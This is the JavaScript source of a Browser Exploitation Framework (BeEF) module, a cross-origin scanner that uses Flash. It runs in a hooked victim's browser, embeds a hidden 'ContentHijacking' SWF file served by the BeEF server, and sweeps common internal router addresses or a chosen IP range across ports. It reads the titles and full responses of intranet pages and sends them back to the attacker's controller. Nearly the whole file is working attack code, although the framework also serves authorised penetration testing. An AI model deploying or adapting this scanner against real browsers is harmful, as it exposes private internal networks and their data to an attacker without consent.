Path: blob/master/modules/network/cross_origin_scanner_flash/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var ips = new Array();9var ipRange = "<%= @ipRange %>";10var ports = "<%= @ports %>";11var threads = parseInt("<%= @threads %>", 10);12var timeout = parseInt("<%= @timeout %>", 10)*1000;1314// check if Flash is installed (not always reliable)15if(!beef.browser.hasFlash()) {16beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support Flash', beef.are.status_error());17return;18}1920// set target ports21if (ports != null) {22ports = ports.split(',');23}2425// set target IP addresses26if (ipRange == 'common') {27// use default IPs28ips = [29'192.168.0.1',30'192.168.0.100',31'192.168.0.254',32'192.168.1.1',33'192.168.1.100',34'192.168.1.254',35'10.0.0.1',36'10.1.1.1',37'192.168.2.1',38'192.168.2.254',39'192.168.100.1',40'192.168.100.254',41'192.168.123.1',42'192.168.123.254',43'192.168.10.1',44'192.168.10.254'45];46} else {47// set target IP range48var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');49if (range == null || range[1] == null) {50beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error());51return;52}53// ipRange will be in the form of 192.168.0.1-192.168.0.25454// (only C class IP ranges are supported atm)55ipBounds = ipRange.split('-');56lowerBound = ipBounds[0].split('.')[3];57upperBound = ipBounds[1].split('.')[3];58for (var i = lowerBound; i <= upperBound; i++){59ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i;60ips.push(ipToTest);61}62}6364// configure workers65WorkerQueue = function(id, frequency) {66var stack = [];67var timer = null;68var frequency = frequency;69var start_scan = (new Date).getTime();70this.process = function() {71var item = stack.shift();72eval(item);73if (stack.length === 0) {74clearInterval(timer);75timer = null;76var interval = (new Date).getTime() - start_scan;77beef.debug("[Cross-Origin Scanner (Flash)] Worker #"+id+" has finished ["+interval+" ms]");78return;79}80}81this.queue = function(item) {82stack.push(item);83if (timer === null) timer = setInterval(this.process, frequency);84}85}8687// load the SWF object from the BeEF server88// then request the specified URL via Flash89var scanUrl = function(proto, host, port) {90beef.debug('[Cross-Origin Scanner (Flash)] Creating Flash object...');91var placeholder_id = Math.random().toString(36).substring(2,10);92div = document.createElement('div');93div.setAttribute('id', placeholder_id);94div.setAttribute('style', 'visibility: hidden');95$j('body').append(div);9697try {98swfobject.embedSWF(99beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/objects/ContentHijacking.swf',100placeholder_id,101"1", // Width102"1", // Height103"9", // Flash version required. Hard-coded to 9+ for no real reason. Tested on Flash 12.104false, // Don't prompt user to install Flash105{}, // FlashVars106{'AllowScriptAccess': 'always'},107{id: 'cross_origin_flash_'+placeholder_id, width: 1, height: 1, 'style': 'visibility: hidden', 'type': 'application/x-shockwave-flash', 'AllowScriptAccess': 'always'},108function (e) {109if (e.success) {110// 200 millisecond delay due to Flash executing the callback with a success event111// even though the object is not yet ready to expose its methods to JS112setTimeout(function(){113var url = 'http://'+host+':'+port+'/';114beef.debug("[Cross-Origin Scanner (Flash)] Fetching URL: " + url);115var objCaller = document.getElementById('cross_origin_flash_'+placeholder_id);116try {117objCaller.GETURL('function(data) { '+118'var proto = "http";' +119'var host = "'+host+'";' +120'var port = "'+port+'";' +121'var data = unescape(data);' +122'beef.debug("[Cross-Origin Scanner (Flash)] Received data ["+host+":"+port+"]: " + data);' +123124'if (data.match("securityErrorHandler")) {' +125' beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip="+host+"&status=alive", beef.are.status_success());' +126'}' +127128'if (!data.match("Hijacked Contents:")) return;' +129'var response = data.replace(/^Hijacked Contents:\\r\\n/);' +130131'var title = "";' +132'if (response.match("<title>(.*?)<\\/title>")) {' +133' title = response.match("<title>(.*?)<\\/title>")[1];' +134'}' +135136'beef.debug("proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' +137'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response, beef.are.status_success());' +138' }', url);139} catch(e) {140beef.debug("[Cross-Origin Scanner (Flash)] Could not create object: " + e.message);141}142}, 200);143} else if (e.error) {144beef.debug('[Cross-Origin Scanner (Flash)] Could not load Flash object');145} else beef.debug('[Cross-Origin Scanner (Flash)] Could not load Flash object. Perhaps Flash is not installed?');146});147// Remove the SWF object from the DOM after <timeout> seconds148// this also kills the outbound connections from the SWF object149setTimeout('try { document.body.removeChild(document.getElementById("cross_origin_flash_'+placeholder_id+'")); } catch(e) {}', timeout);150} catch (e) {151beef.debug("[Cross-Origin Scanner (Flash)] Something went horribly wrong creating the Flash object with swfobject: " + e.message);152}153beef.debug("[Cross-Origin Scanner (Flash)] Waiting for the flash object to load...");154}155156// append SWFObject script157$j('body').append('<scr'+'ipt type="text/javascript" src="'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js"></scr'+'ipt>');158159// create workers160beef.debug("[Cross-Origin Scanner (Flash)] Starting scan ("+(ips.length*ports.length)+" URLs / "+threads+" workers)");161var workers = new Array();162for (var id = 0; id < threads; id++) workers.push(new WorkerQueue(id, timeout));163164// allocate jobs to workers165for (var i = 0; i < ips.length; i++) {166var worker = workers[i % threads];167for (var p = 0; p < ports.length; p++) {168var host = ips[i];169var port = ports[p];170if (port == '443') var proto = 'https'; else var proto = 'http';171worker.queue("scanUrl('"+proto+"', '"+host+"', '"+port+"');");172}173}174175});176177178179